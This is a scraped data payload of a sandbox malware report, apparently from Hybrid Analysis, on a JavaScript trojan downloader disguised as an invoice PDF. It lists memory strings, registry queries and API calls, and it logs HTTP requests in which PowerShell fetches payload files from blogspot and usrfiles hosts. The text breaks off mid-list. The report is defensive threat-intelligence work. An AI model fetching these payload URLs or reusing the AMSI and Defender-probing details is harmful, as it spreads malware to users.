21:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/4109t72175nm8.js","/_next/static/chunks/04k_7k5p4krw4.js","/_next/static/chunks/30r--1re9i9ly.js"],"SampleDetailWrapper"] 52:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/2ysmnrb0knc4n.js","/_next/static/chunks/0i2jherxtxs7l.js"],"IconMark"] 20:T4e4,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious PowerShell/TrojanDownloader.Agent Sample 863cb47c6bf5… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 863cb47c6bf5…. Malware family: PowerShell/TrojanDownloader.Agent. Threat score 100/100. 2/26 AV engines flagged this file. 4 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/863cb47c6bf5e3f9c3ed42de89472952e79ec61327c8dc3037cf6b92a28fc7b5","keywords":["Malicious","PowerShell/TrojanDownloader.Agent","malware analysis","sandbox report","threat intelligence","863cb47c6bf5e3f9c3ed42de89472952e79ec61327c8dc3037cf6b92a28fc7b5"],"about":{"@type":"SoftwareApplication","name":"invoice-1645080830.pdf (37).js","applicationCategory":["script","javascript"],"identifier":"863cb47c6bf5e3f9c3ed42de89472952e79ec61327c8dc3037cf6b92a28fc7b5","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"PowerShell/TrojanDownloader.Agent","antivirusDetections":{"malicious":2,"total":26},"behavioralIndicators":{"malicious":4,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}22:Tc4f,file/memory contains long string with (Indicator: "Get-ExecutionPolicy"; File: "AMSI") file/memory contains long string with (Indicator: "Get-Random"; File: "AMSI") Found string "{ $c.Substring( (Get-Random -Maximum $c.Length), 1 ) }" (Indicator: "Get-Random"; File: "AMSI") Found string "Get-Command" (Indicator: "Get-Command"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Get-Module" (Indicator: "Get-Module"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Get-FormatData" (Indicator: "Get-FormatData"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Get-Help" (Indicator: "Get-Help"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string ".FORWARDHELPTARGETNAME Get-Help" (Indicator: "Get-Help"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Get-Help @PSBoundParameters | more" (Indicator: "Get-Help"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Microsoft.PowerShell.Utility\Get-Member -type Properties -static |" (Indicator: "Get-Member"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Get-PSBreakpoint" (Indicator: "Get-PSBreakpoint"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Get-Variable" (Indicator: "Get-Variable"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Get-Content $file | more.com" (Indicator: "Get-Content"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Get-Verb" (Indicator: "Get-Verb"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "$null = Read-Host '" (Indicator: "Read-Host"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "$null = Read-Host 'Press Enter to continue...'" (Indicator: "Read-Host"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Get-Alias" (Indicator: "Get-Alias"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Get-Content" (Indicator: "Get-Content"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Get-ChildItem" (Indicator: "Get-ChildItem"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Get-PSDrive" (Indicator: "Get-PSDrive"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Get-PSCallStack" (Indicator: "Get-PSCallStack"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Get-History" (Indicator: "Get-History"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Get-Location" (Indicator: "Get-Location"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Get-Member" (Indicator: "Get-Member"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp") Found string "Get-ItemProperty" (Indicator: "Get-ItemProperty"; Source: "00000000-00001204.00000000.129138.00000000.00000004.mdmp")23:Te2f,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATIONTYPE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "SERVER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "DLLPATH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "THREADING"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "TRUSTLEVEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "REMOTESERVER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATEASUSER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "ACTIVATEINSHAREDBROKER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\ACTIVATABLECLASSID\WINDOWS.INTERNAL.STATEREPOSITORY.FILETYPEASSOCIATION"; Key: "PERMISSIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "EXEPATH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "COMMANDLINE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "IDENTITYTYPE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "PERMISSIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "ACTIVATABLECLASSES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "SERVERTYPE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "APPID"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "IDENTITY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "SERVICENAME"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWSRUNTIME\SERVER\STATEREPOSITORY"; Key: "EXPLICITPSMACTIVATIONTYPE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\INTERFACE\{8645456F-D9A2-4B82-AFEC-58F0E8DF0ACF}\PROXYSTUBCLSID32"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{C53E07EC-25F3-4093-AA39-FC67EA22E99D}"; Key: ""; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{C53E07EC-25F3-4093-AA39-FC67EA22E99D}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "")24:Tee2,Contains base64 string in header "docx" in header "GET /dudu.docx.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: hot13oct.blogspot.comConnection: Keep-Alive" Contains base64 string in header "hot13oct" in header "GET /dudu.docx.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: hot13oct.blogspot.comConnection: Keep-Alive" Contains base64 string in header "blogspot" in header "GET /dudu.docx.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: hot13oct.blogspot.comConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /dudu.docx.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: hot13oct.blogspot.comConnection: Keep-Alive" Contains base64 string in header "hot13oct" in header "GET /atom.xml HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: hot13oct.blogspot.com" Contains base64 string in header "blogspot" in header "GET /atom.xml HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: hot13oct.blogspot.com" Contains base64 string in header "b4a43d563e1e4b159370953dd56117b7" in header "GET /ugd/09c1d5_b4a43d563e1e4b159370953dd56117b7.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: 09c1d5c3-1a6e-4c05-8e4e-eff75c6b5dd6.usrfiles.comConnection: Keep-Alive" Contains base64 string in header "09c1d5c3" in header "GET /ugd/09c1d5_b4a43d563e1e4b159370953dd56117b7.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: 09c1d5c3-1a6e-4c05-8e4e-eff75c6b5dd6.usrfiles.comConnection: Keep-Alive" Contains base64 string in header "1a6e" in header "GET /ugd/09c1d5_b4a43d563e1e4b159370953dd56117b7.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: 09c1d5c3-1a6e-4c05-8e4e-eff75c6b5dd6.usrfiles.comConnection: Keep-Alive" Contains base64 string in header "4c05" in header "GET /ugd/09c1d5_b4a43d563e1e4b159370953dd56117b7.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: 09c1d5c3-1a6e-4c05-8e4e-eff75c6b5dd6.usrfiles.comConnection: Keep-Alive" Contains base64 string in header "8e4e" in header "GET /ugd/09c1d5_b4a43d563e1e4b159370953dd56117b7.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: 09c1d5c3-1a6e-4c05-8e4e-eff75c6b5dd6.usrfiles.comConnection: Keep-Alive" Contains base64 string in header "eff75c6b5dd6" in header "GET /ugd/09c1d5_b4a43d563e1e4b159370953dd56117b7.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: 09c1d5c3-1a6e-4c05-8e4e-eff75c6b5dd6.usrfiles.comConnection: Keep-Alive" Contains base64 string in header "usrfiles" in header "GET /ugd/09c1d5_b4a43d563e1e4b159370953dd56117b7.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: 09c1d5c3-1a6e-4c05-8e4e-eff75c6b5dd6.usrfiles.comConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /ugd/09c1d5_b4a43d563e1e4b159370953dd56117b7.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: 09c1d5c3-1a6e-4c05-8e4e-eff75c6b5dd6.usrfiles.comConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.248Host: www.google.comConnection: Keep-Alive"25:Te5c6,"WScript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00004304) "WScript.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00004304) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00001204) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 